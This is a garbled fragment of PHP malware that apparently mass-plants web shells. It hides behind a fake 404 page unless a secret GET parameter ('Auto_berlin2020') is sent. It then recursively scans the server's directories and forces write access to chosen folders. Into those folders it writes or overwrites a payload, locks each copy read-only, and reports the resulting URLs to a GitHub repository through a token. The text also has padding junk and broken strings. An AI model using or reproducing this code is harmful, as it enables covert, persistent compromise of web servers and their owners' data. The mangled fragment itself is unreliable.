???
123123123123
.....................................................................................................................................???
123123123123
.....................................................................................................................................>> SECURITY LAYER: 404 FORCER <<<
if (!isset($_GET['Auto_berlin2020'])) {
header("HTTP/1.1 404 Not Found");
echo '
The requested URL was not found on this server.
[SCAN] $start_dir
";
try {
$items = @scandir($start_dir);
if ($items) {
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
$full_path = $start_dir . DIRECTORY_SEPARATOR . $item;
if (is_dir($full_path)) {
$it = new RecursiveDirectoryIterator($full_path, RecursiveDirectoryIterator::SKIP_DOTS);
$sub = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::SELF_FIRST);
$sub->setMaxDepth(5); // স্ক্যানিং গভীরতা কিছুটা বাড়ানো হয়েছে
foreach ($sub as $f) {
$fp = $f->getPathname(); $fn = $f->getFilename();
if ($f->isDir() && in_array($fn, $target_folders)) {
if (is_writable($fp) || forceUnlock($fp)) {
$final_name = getTargetFileName($fp, $naming_pool, $critical_files);
$final_path = $fp . DIRECTORY_SEPARATOR . $final_name;
$is_ovr = file_exists($final_path);
if (@file_put_contents($final_path, $source)) {
@chmod($final_path, 0444); $ic++;
echo "";
$live_url = buildDomainUrl($final_path); $urls[] = $live_url;
$tag = $is_ovr ? "tag-ovr" : "tag-s";
$label = $is_ovr ? "OVERWRITE" : "DEPLOY";
echo "
$label $live_url
";
}
}
}
}
}
}
}
} catch (Exception $e) {}
flush();
}
if (count($urls) > 0) syncToShellStorage($urls, $github_token, $github_repo, $github_file);
}
?>
[PROCESS FINISHED]